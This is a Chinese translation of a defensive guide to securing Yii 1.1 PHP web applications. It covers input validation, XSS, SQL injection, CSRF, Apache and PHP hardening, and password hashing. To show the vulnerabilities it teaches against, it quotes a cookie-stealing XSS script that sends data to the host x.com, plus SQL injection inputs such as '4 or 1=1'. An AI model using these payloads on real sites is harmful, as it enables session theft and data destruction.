[翻译]如何用YII写出安全的WEB应用
前言
虽然本文是基于YII1.1,但其中提到的安全措施适用于多数web项目安全场景,所以翻译此文,跟大家交流。原文地址。
目录
正文
提示:虽然本文内容丰富,但并未囊括所有的安全方面的知识;如果您程序对安全要求相当高,请多多参考相关技术。
安全基本措施
- 对用户所有输入的信息都要验证与过滤,再进行处理。
- 对所有输出到浏览器的信息都要过滤
- 程序要经过debug模式的测试(开发环境下)
如下操作:设置YII_DEBUG为true,并设置error_reporting(E_ALL);设置后,YII会打印出所有错误和警告的信息,出错的代码与原因;
注意,不要忽略任务一个提示,即使一个警告(E_NOTICE)都可能引发安全问题,比如未定义的数组的键。
- 在生产环境 下一定要关闭debug
要保证产品中的提示信息不包含调试敏感信息。
- 尽量对用户输入的信息都用白名单过滤,而不要用黑名单过滤;
- 在产品里部署日志系统,定期检查警告与错误提示;
一般两种日志:YII记录程序中运行的日志,web服务器和PHP记录服务端的日志。
接下来将详细阐述。
验证与过滤用户的输入信息
原理
比如,当用户修改自己档案中的生日时,后台应该要确保他输入的是有效的日期;这不仅仅是为了防止用户的误操作,也是为了确保安全。如,要确保用户输入的是正确的时间格式“1951-01-25”,以防止sql注入与跨域攻击。验证用户输入虽然不是最有效的防范手段,但这是防范措施的第一步。
客户端验证
客户端验证并不能防范安全隐患,但能使程序与用户的交互更友好。为什么说客户端验证也不能保证安全呢?比如下面的这段HTML代码:
<input type="hidden" name="id" value="1" /> <input type="text" name="date" size="10" /> <select name="list"><option>1</option><option>2</option></select>
虽然,网页前端输出的数据与各种html的input与select控件,但用户可以将这控件全部修改成textarea,然后再发送到后台。
YII如何防范
YII提供了下面两种方式处理这种情况。(在不用YII的情况下,使用PHP的类型转换与过滤扩展。)
基于model的验证
多数时候,用户输入的信息会由model来处理,而model是继承自CFormModel 或者 CActiveRecord 。这两个类的父类CMode的rules()方法用来定义字段验证规则。
验证用户输入的信息也可以写在CComponent 的行为和model 的beforeValidate()方法里。
<?php
// controller里Action
$model = new Comment;
$model->attributes = $_POST['Comment'];
if ($model->save()) { // 验证通过后,才会被保存
$this->redirect(array('view', 'id' => $model->id));
} else {
// 未通过验证,或保存未成功
}
<?php
// model
class Comment extends CActiveRecord
{
public function rules()
{
return array(
array('parent', 'numerical', 'integerOnly' => true),
array('strangedata', 'customValidateForStrangedata'),//自定义的验证器
array('description', 'length', 'max' => 255),
);
}
// 继承父类的beforeValidate(),在验证之前执行
protected function beforeValidate()
if (!empty($this->description) && substr_count($this->description, '"') % 2 !== 0) {
$this->addError("description", "引号没有配对");
// return false; // stop validation
}
return parent::beforeValidate();
}
/*自定义的验证方法
* @return boolean Continue the validation process? */
protected function customValidateForStrangedata($attribute, $params)
{
$this->addError($attribute, "validation failed");
return false;
}
在编写程序的时候,应该重视对用户输入信息的验证,这不仅仅是为了安全,也能保持后台收集到正确的数据。YII已经为我们定义多种的字段的验证方式,而且自己也还可以新增验证器。同时,在不同的场景下也可以使用不同的验证。比如,某个字段仅需要在修改的时候验证,而在新增的时候,则不需要验证。
基于controller验证
有的用户输入信息需要直接在controller里验证。当这种情况的时候,应该使用的PHP的类型转换。一般都这么处理数字型的ID。
<?php // 不安全 $model = Post::model()->findByPk($_GET['id']); // 安全 $model = Post::model()->findByPk((int) $_GET['id']);
如果传入字段的类型不是数字型,推荐使用model进行验证。
对上面示例的补充
当遇到上面例子中第一种写法的时候,YII中model的findByPk()方法会自动转换ID为数字型 (下面SQL注入章节会重点介绍)。然而多数情况下,依靠YII的这种自动处理是不保险的。比如,当恶意用户输入这样一个url:comment/delete?id[]=2\&id[]=1。后台$_GET[‘ID’]接收到的就是一个数组,如果此ID没有被验证就用于其它函数(不仅仅 是findByPk)处理,这就存在安全隐患。
跨站脚本攻击XSS
原理
如果用户的输入的信息没有过滤与验证,就后台就直接交此信息输出到浏览器,这可能被恶意用户利用,从而进行XSS攻击。比如,用户输入JavaScript代码,而其它用户又浏览了此用户的信息,则可能造成用户的信息被窃取。典型案例是盗取用户的cookie信息。
示例:
<h2> <?php echo $user->name ?>的简历</h2> //未过滤的用户输出数据: <a href="/posts?name=<?php echo $user->login ?>" title='<?php echo $user->name ?>'>查看我的档案</a>
为什么上面示例有案例隐患呢?如果上例中$user->name是如下所示的代码:
张三<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script>
那么当其它用户访问张三的档案的时候,将会从其它服务器加载一张图片,而此加载图片的请求携带着访问者的cookies信息。这就是XSS攻击基本的原理。
PHP提供htmlspecialchars函数将一些预定义的字符转(如: &,",’,<,>)换为 HTML 实体。上面示例中还有超链接,所以htmlspecialchars结合rawurlencode() 和 htmlspecialchars(, ENT_QUOTES)一起使用。
YII如何防范
普通文本
用CHtml::encode()输出普通文本。示例:
<h2> <?php echo CHtml::encode($user->name) ?>简历</h2>
CHtml::encode()封装了htmlspecialchars函数,默认文本编码是YII应用的编码;所以如果需要输出的文本的编码不是UTF-8,就需要在YII的配置文件(main.php)里设置charset;
有时需要在CHtml::encode()前,使用PHP的strip_tags()去除HTML/XML标签。遇到这种情况,使用strip_tags后,切记要使用CHtml::encode();不要单独使用strip_tages()。
富文本
如果浏览器需要显示用户输入的HMTL代码,后台应该在保存用户输入数据前过滤。有几个PHP库解决这个问题,其中著名的如 Html Purifier 。Yii已经将Html Purifier封装成CHtmlPurifier。
示例:
<li class="comments">
<?php
$purifier = new CHtmlPurifier();
$purifier->options = array(
'HTML.Allowed' => 'p,a[href],b,i',
);
foreach (Comment::model()->findAll() as $comment) {
// 危险的输出
//echo "<li>" . $comment->text . "</li>\n";
// 安全的输出
echo "<li>" . $purifier->purify($comment->text) . "</li>\n";
}
?>
</li>
一般使用富文本编辑器(如:TinyMCE,CkEditor)来满足用户输入HTML的需求。但Markdown或wiki syntaxt语言是个更好的选择。
示例:
<div class="comment"> <?php $md = new CMarkdownParser(); echo "<div>" . $md->transform($comment) . "</div>"; ?> </div>
URL
使用rawUrlEncode()转义网址中的URL部分,urlEncode()转义网址中的网址中的参数部分。
示例
<script>var a = "http://x.com/<?php echo rawUrlEncode($query) ?>"; </script> <a href="/search/<?php echo rawUrlEncode($query)) ?>">转义网址中url部分</a> <a href="/?param=<?php echo urlEncode($param) ?>">转义url的参数部分</a> <a href="<?php echo CHtml::encode($url . "¶m=" . urlEncode($param)) ?>">转义整个网址</a>
CHtml::encode()不能单独在这里使用,如$query = 'xxx.com?x="N & B"',这样CHtml::encode()会将’&’,转义成’&’。
CSS
使用Html Purifier处理CSS;(详见上章富文本的处理)。
JavaScript
使用CJavaScript的静态方法,对JS变量作转义输出;
示例:
<?php
$messages = array("Rock'n roll", 'Say "hello"');
$title = "D'accord";
Yii::app()->clientScript->registerScript('snippet', "
function displayMsg() {
var messages = " . CJavaScript::encode($messages) . ";
var title = '" . CJavaScript::quote($title) . "';
// ...
}
");
如果不需要YII转义JS,可以使用js:前缀。如下所示:
<?php
$this->widget(
'zii.widgets.jui.CJuiAutoComplete',
array(
'name' => 'field_name', // 默认会使用CJavaScript::quote 转义变量
'source' => 'js:function(request, response) { $.ajax({...}) }', // 在代码前加“js:”前缀
SQL注入
原理
简单的说,当把未经过滤和验证的数据直接拼装SQL语句,会存在SQL注入漏洞。
<?php
// 警告,以下是不安全的写法
Yii::app()->db
->createCommand("DELETE FROM mytable WHERE id = " . $_GET['id'])
->execute();
$comments = Comment::model->findAll("user_id = " . $_GET['id']);
上面示例中的第一个sql语句,如果GET参数是”4 or 1=1”,这会导致表中的所有数据被删除;
第二个sql语句中,如果GET参数是2 UNION SELECT ,会导致数据库的任意数据都被查询出来。
YII如何防范
使用YII提供的函数操作
如下例
<?php
$id = intval($_GET['id']);
MyModel::model()->findByPk($id)->delete();
// 使用类型转换
$comments = Comment::model->findAllByAttributes(array('user_id' => (int)$_GET['id']);
使用YII函数要比纯SQL语句安全些;但,对于YII函数来说,使用数组比字符串更安全;如下例:
<?php
//存在sql注入
$comments = Comment::model->findAll("post_id = $postId AND author_id IN (" . join(',', $ids) . ")");
// 安全
$comments = Comment::model->findAllByAttributes(array("post_id" => $postId, "author_id" => $ids));
SQL语句预编译
当必须要使用原生的SQL的时候,比如一个SQL语句有两个参数,如下所示:
SELECT CONCAT(prefix, title) AS title, author_id, post_id, submit_date
FROM t_comment
WHERE (date > '{$date}' OR date IS NULL) AND title LIKE '%{$text}%'
遇到这种情况,有以下两种相对安全的写法:
- 给每个参数加引号(不推荐)
- 使用预编译SQL(推荐)
当使用第一种方式的时候,可以使用YII的CDbConnection::quoteValue();
比如"date > '{$date}'",可以写成 "date > " . Yii::app()->db->quoteValue($date)。
数据库服务器先编译完传入的SQL语句,再将接收到的参数插入到SQL语句的占位符。但,当数据库服务器不支持预编译时,PHP就会模拟这个过程,这也可能有SQL注入的隐患(预编译的详细原理可以参考这篇博文)。
在YII中SQL预编译的过程可以如下所示的代码:
<?php
// 占位符没有引号
$sql = "SELECT CONCAT(prefix, title) AS title, author_id, post_id, date "
. "FROM t_comment "
. "WHERE (date > :date OR date IS NULL) AND title LIKE :text"
// 第一种写法
$command = Yii::app()->db->createCommand($sql);
$command->bindParam(":date", $date, PDO::PARAM_STR);
$command->bindParam(":text", "%{$text}%", PDO::PARAM_STR);
$results = $command->execute();
// 第二种写法
$command = Yii::app()->db->createCommand($sql);
$results = $command->execute(array(':date' => $date, ':text' => "%{$text}%"));
当使用ActiveRecordr的时候用SQL预编译,语法会更加简练,如下所示:
<?php$comments = Comment::model->findAllBySql($sql, array(':date' => $date, ':text' => "%{$text}%"));
对SQL语句中LIKE的一些补充
在上面的示例中,即使不存在SQL注入隐患,此SQL语句中的like的使用也值得商榷。’%like%’不使用索引的,而’like%’是可以使用索引的;所以,如果将’like%’转换成’%like%’,当like的字段值很大的时候,会严重影响效率。
建议当需要使用到’%like%’的时候,尽量使用其它比较符(<=,>,……)替换。可以使用YII的CDbCriteria::compare()和CDbCriteria::addSearchCondition()函数,而简化操作。
对预编译SQL中参数占位符补充
从YII1.1.8起,占位符不再用”?”标识,而是使用”:”标识;
对预编译SQL的效率的补充
预编译稍长的SQL要比不编译要稍慢些,这对系统的整体性能影响非常小。但如果同一个SQL运行多次,预编译的效率优势就体现出来了。然而,如果使用的PHP模拟预编译,则跟不编译SQL没有区别。
如果预编译不满足应用的实际需求
虽然预编译能防止SQL注入,但有些时候因为SQL语句的各个部分都是变量,所以不能使用预编译。如下所示:
SELECT *
FROM {$mytable}
WHERE {$myfield} LIKE '{$value}%' AND post_date < {$date}
ORDER BY {$myfield}
LIMIT {$mylimit}
遇到这类情况,一般使用白名单过滤SQL语句的每个部分。YII提供如下类似的过滤方法:
<?php
if (!Comment::model()->hasAttribute($myfield)) {
die("Error");
}
更加常用的是使用YII的” Query Builde”,但不能跟CDbCriteria结合使用。
多数时候,我们可能是通过Model来查询,可以使用find*()类的方法与CDbCriteria一起使用。如下:
<?php
// YII会检测字段的合法性
$criteria = new CDbCriteria(
array(
'order' => $myfield,
'limit' => $mylimit,
)
);
$criteria->compare($myfield, $value, true); // LIKE % :$value会被转义
$criteria->compare('post_date', '<:date');
$criteria->params = array(':value' => $value, ':date' => $date);
$comments = Comment::model()->findAll($criteria)
YII的GII模块使用CGridView提供数据。CDataProvider使用CDbCriteria为CGridView提供数据,所以当使用CGridView的时候,YII会自动过滤与验证用户输入的查询条件。
一个完整的示例如下:
<?php
// 当不是原生的SQL语句的时候,YII会自动验证字段的合法性
$criteria = new CDbCriteria();
$criteria->order = $myfield;
$criteria->limit = $mylimit;
$criteria->addSearchCondition($myfield, $value, true); // true ==> LIKE '%...%'
$criteria->addCondition("post_date < :date");
$comments = Comment::model()->findAll($criteria, array(':value' => $value, ':date' => $date));
SQL注入的总结
当使用Model进行查询时,有如下五种方式:
1. CActiveRecord::findByPk() 或者 CActiveRecord::findAllByPk().(推荐)
2. CActiveRecord::findByAttributes() 或者 CActiveRecord::findByAttributes()
3. X::model()->find($criteria, array(':param1' => $value1)) 或者 ->findAll(...)
4. X::model()->find($sql, array(':param1' => $value1)) 或者->findAll(...)
5. X::model()->findBySql($sql, array(':param1' => $value1)) 或者 ->findAll(...)
当不是基于Model查询时,要使用预编译,如下所示:
<?php
$r = Yii::app()->db
->createCommand($sql)
->queryAll(array(':param1' => $value1));
使用这种方式时,切记要对用户输入的进行过滤与验证。
跨站请求伪造CSRF
需要对数据进行增、删、改,需要客户端的发起POST请求。这是一个好习惯,也是REST架构推荐的方式。如此,可以防止浏览器的一些的误操作而引起数据的变化。但是POST请求并不能防止CSRF,从安全角度来说POST的并没有提高安全性。但YII有一套机制可以防止CSRF,只不过默认并不有开启。
配置WEB服务器
本章节讨论是基于类UNIX系统(Linux,BSD,OSX)上安装的Apache服务器,PHP作为Apache的一个模块运行。其它的环境(如Windows,nginx,PHP-fpm…)配置可能不同,但其它原理是一样的。
DEBUG变量的设置
如果在生产环境中,把YII的YII_DEBUG设置为’true’,系统的调试信息会被打印到浏览器。设想一下,如果用户发现了系统的输入字段没有验证,那么用户发送了可能会发送在表单字段中发送一个数组,这样会导致PHP函数接收了错误的参数类型。如果在debug模式下,YII会打印出详细的调试信息。
不方便的是,YII_DEBUG是在YII应用的index.php中设置。所以,这个变量需要在开发环境、测试环境和生产环境中设置成不同的值。有一个解决方案是使用版本控制器设置,但这样很不方便。
推荐的方式是重写index.php,以便读取debug的配置。可以有如下两种方式:
- Index.php读取配置文件里的debug变量。
- 从WEB服务器上读取debug变量。
Apache中如下设置环境变量:
|
SetEnv YII_ENV testing |
这个变量可以在配置文件或者.htaccess中设置。PHP程序可以通过$_SERVER[‘YII_ENV’]读取YII_ENV变量,如果没有设置,默认为生产环境。
YII应用需要注意的
YII框架所在的目录不应该放在WEB服务器的根目录里,要确保用户通过浏览器不能访问框架的文件,如’yiilite.php’。
YII应用中的三个目录:’assets’,’protected/data’,’protected/runtime’;web服务器需要对这三个目录的写权限。除此之外的所有目录,web服务器应该只有读的权限。
即使如此,黑客有可能创建或修改这三个目录的文件。特别是’assets’目录是可写的,又是可以直接通过HTTP请求访问。因此,’assets’目录里的PHP文件只能被当成文本类文件,不能被解析。
YII的应用默认提供了.htaccess文件用来防止’protected/’和’theme/class/views/’被浏览器直接访问。如果在Apache里配置,会更安全、更高效。下面示例了如何禁止运行’assets’文件夹里的PHP文件。
[apache] # 示例:配置YII应用 Alias /web/path/for/myapp "/home/myapp/www" <Directory "/home/myapp/www"> AllowOverride None </Directory> <Directory "/home/myapp/www/protected"> Deny from All </Directory> <Directory "/home/myapp/www/assets"> #关闭PHP解析引擎 php_admin_flag engine off Options -Indexes </Directory>
下面示例:YII应用在虚拟机中设置:
[apache]
# Example config for Yii-myapp as an Apache VirtualHost
# Please set the paths and the host name to their right values
<VirtualHost *:80>
ServerName myapp.com
DocumentRootAlias /home/myapp/www
ErrorLog /var/log/apache2/myapp-error.log
CustomLog /var/log/apache2/myapp-access.log common
<Directory "/home/myapp/www">
Options +FollowSymLinks
# 从PHP5.4起已经被移除下面两个属性
php_flag register_globals Off
php_flag gpc_magic_quotes Off
# 禁止 .htaccess 重写
AllowOverride None
#重写URL
<IfModule mod_rewrite.c>
# 以下配置是隐藏URL中的index.php
# 需要配置YII的 urlManager.showScriptName = false
IndexIgnore */*
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php
</IfModule>
</Directory>
# 禁止通过浏览器访问YII应用 的protected目录
<Directory "/home/myapp/www/protected">
Deny from All
</Directory>
# 保护YII应用中没有PHP脚本的目录
<DirectoryMatch "/home/myapp/www/(assets|css|images|js)$">
# 禁止执行PHP脚本
php_admin_flag engine off
# 禁止浏览目录下的文件目录
Options -Indexes
</DirectoryMatch>
</VirtualHost>
PHP项目一些有用的指令
|
指令 |
说明 |
|
allow_url_include |
关闭 |
|
register_globals |
关闭 |
|
magic_quotes_gpc |
关闭,因为YII应用忽略此函数的作用 |
|
open_basedir |
谨慎使用 |
|
display_errors |
在生产环境下关闭 |
|
error_reporting |
至少要报告E_ERROR。官方文档 |
这些指令可以在php.ini中配置。如果appache设置AllowOverride Options,那么在.htaccess中可以如下所示配置:
[apache] # .htaccess 文件 php_flag display_errors off php_value error_reporting -1
如果不允许在.htaccess文件和ini_set()中改变php.ini中配置的变量,则可以在appache的配置文件(如:httpd.conf)使用php_admin_flag指定。
[apache] # Apache 配置文件 <Directory "/var/www/myapp"> php_admin_value open_basedir /var/www/myapp/:/tmp/ </Directory>
注意:SSL不在本文讨论的范围内。
授权
授权是保证用户只能访问权限内的资源,这个就说来话长了。不过,YII很方便的为我们提供了些类来处理授权问题。详情可以访问详情说明。
其它一些资源:
验证
密码强度
为了防止弱密码的出现,我们可以自己写检验规则,也可以使用现成的YII扩展epasswordstrength。
下面示例:自定义密码强度验证
<?php
class User extends CActiveRecord
{
public function rules()
{
return array(
array('password', 'checkPasswordStrength'),
);
}
protected function checkPasswordStrength($attribute, $params)
{
$password = $this->$attribute;
$valid = true;
$valid = $valid && preg_match('/[0-9]/', $password); // 含数字
$valid = $valid && preg_match('/\W/', $password); // 含其它字符
// ... 其它验证规则 ...
$valid = $valid && (strlen($password) > 7); // 最小长度
if ($valid) {
return true;
} else {
$this->addError($attribute, "密码格式不符合要求");
return false;
}
}
也可以先在客户端用JS对密码进行验证,用户可以立刻知道输入的密码是否符合要求。但不要忘记在后端也要用PHP进行验证。客户端的验证的YII扩展estrongpassword。
密码加密
本文只讨论在常规应用应用服务器中的密码验证;其它服务不在讨论之列,如LDAP, SSO, OpenID。
对于用户的密码不能使用明文存储,需要加密存储。一个方便的方法是使用 PHPass。如下示例:
<?php
// autoload "protected/lib/PasswordHash.php"
Yii::import('application.lib.PasswordHash');
class User extends CActiveRecord
{
public function validatePassword($password) // 用户输入$password
{
//
$hasher = new PasswordHash(8, FALSE);
return $hasher->checkPassword($password, $this->password);
}
public function beforeSave()
{
// 用密文替换明文
if (isset($this->password)) {
$hasher = new PasswordHash(8, FALSE);
$this->password = $hasher->HashPassword($this->password);
}
return parent::beforeSave();
}
加密函数可以自己写,但PHPass很安全和成熟。其作者开发过密码密码破解软件john the ripper。
常用工具
一些常用用的安全检测工具。
[翻译]如何用YII写出安全的WEB应用的更多相关文章
- 如何用java写出无副作用的代码
搞java的同学们可能对无副作用这个概念比较陌生,这是函数式编程中的一个概念,无副作用的意思就是: 一个函数(java里是方法)的多次调用中,只要输入参数的值相同,输出结果的值也必然相同,并且在这个函 ...
- 2017.12.1 如何用java写出一个菱形图案
上机课自己写的代码 两个图形原理都是一样的 1.一共有仨个循环 注意搞清楚每一层循环需要做的事情 2.第一层循环:是用来控制行数 3.第二层循环控制打印空格数 4.第三层循环是用来循环输出星星 imp ...
- Anaconda+django写出第一个web app(九)
今天来学习外键的使用,用外键来连接数据库中的两个表. 当我们的tutorials非常多的时候,目前的显示方式就会使得页面非常凌乱.我们可以考虑把这些教程分为不同的系列,页面只显示标题以及概要等信息,进 ...
- Anaconda+django写出第一个web app(七)
今天来实现如何在页面弹出一些信息,比如注册成功后弹出注册成功的信息.这一点可以通过materialize里的Toasts来实现. django自带的messages可以告诉我们是否注册成功,以及注册失 ...
- Anaconda+django写出第一个web app(十一)
今天我们来学习给页面添加一个Sidebar,根据Sidebar跳转到相应的tutorial. 打开views.py,编辑single_slug函数: def single_slug(request, ...
- Anaconda+django写出第一个web app(八)
今天来实现网站的登入和登出功能. 首先我们需要在urls.py中添加路径,注意此处的路径和在导航栏中设置的文字路径保持一致: from django.urls import path from . i ...
- Anaconda+django写出第一个web app(六)
今天学习如何写一个注册用户的界面. 上一节的导航栏中我们修改了导航栏右侧的文字为register并将路径设置为/register,内容如下: <li><a href="/r ...
- Anaconda+django写出第一个web app(二)
今天开始建立App中的第一个Model,命名为Tutorial. Model的定义在main文件夹下的models.py中通过类进行,我们希望Tutorial这个model包含三个属性:标题.内容和发 ...
- Anaconda+django写出第一个web app(十)
今天继续学习外键的使用. 当我们有了category.series和很多tutorials时,我们查看某个tutorial,可能需要这样的路径http://127.0.0.1:8000/categor ...
随机推荐
- 怎样调通微信支付及微信发货通知接口(Js API)
怎样调通微信支付及微信发货通知接口(Js API) 微信支付提供了一个支付測试页面,微信支付正式使用须要測通支付.发货通知接口 .告警接口.维权接口.告警接口.维权接口非常easy.支付界面调通也相对 ...
- C#.NET学习笔记1---C#.NET简介
C#.NET学习笔记1---C#.NET简介 技术qq交流群:JavaDream:251572072 教程下载,在线交流:创梦IT社区:www.credream.com -------------- ...
- java设计模式之——代理模式
1,什么是代理模式? 代理模式的作用是:为其他对象提供一种代理以控制对这个对象的访问. 2,策略模式有什么好处? 在某些情况下,一个客户不想或者不能直接引用另一个对象,而代理对象可以在客户端和目标对象 ...
- 模拟表格 inline-block等高布局
表格是个好东西,它可以自动根据内容来调整格子,确保数据正常显示,并且不破坏表格的结构.但也有一些劣势,因为是用大量标签堆砌而成,页面结构会比较乱,细节也往往不容易控制.所以我们希望有表格的展示效果,但 ...
- Cannot access empty property
致命错误:不能够进入此空值,位于E:\sunlion\web\down\class\db_sql.php 代码 <?php Class TestClass1{ var $class2; publ ...
- wamp 虚拟目录的设置(转载)
现在先来配置虚拟主机:1.先打开apache的配置文件httpd.conf,并去掉#Include conf/extra/httpd-vhosts.conf前面的#!!2.打开apache的apach ...
- canvas阴影
shadowOffsetx 阴影X轴的移动 shadowOffsety 阴影的y轴移动 shadowColor 阴影颜色 shadowBlur 模糊范围 <!DOCTYPE html>&l ...
- lightoj 1408 Batting Practice
题意:一个人若连续进k1个球或连续不进k2个球,游戏结束,给出这个人进球的概率p,求到游戏结束时这个投球个数的期望. 进球概率为p,不进概率 q=1-p 设 f[i] 表示连续 i 次不进距离连续k2 ...
- java反射获取注解并拼接sql语句
先建两个注解 分别为 Table 和 Column package com.hk.test; import java.lang.annotation.ElementType; import java. ...
- 深入A标签点击触发事件而不跳转的详解
本文介绍下,当点击A标签时,触发事件但不跳转的实现方法,有需要的朋友参考下吧. 点击页面上的空链接,点击后页面自动刷新,并会定位到页面顶端. 不过,有时需要点击#页面但不作跳转,可以这样写: < ...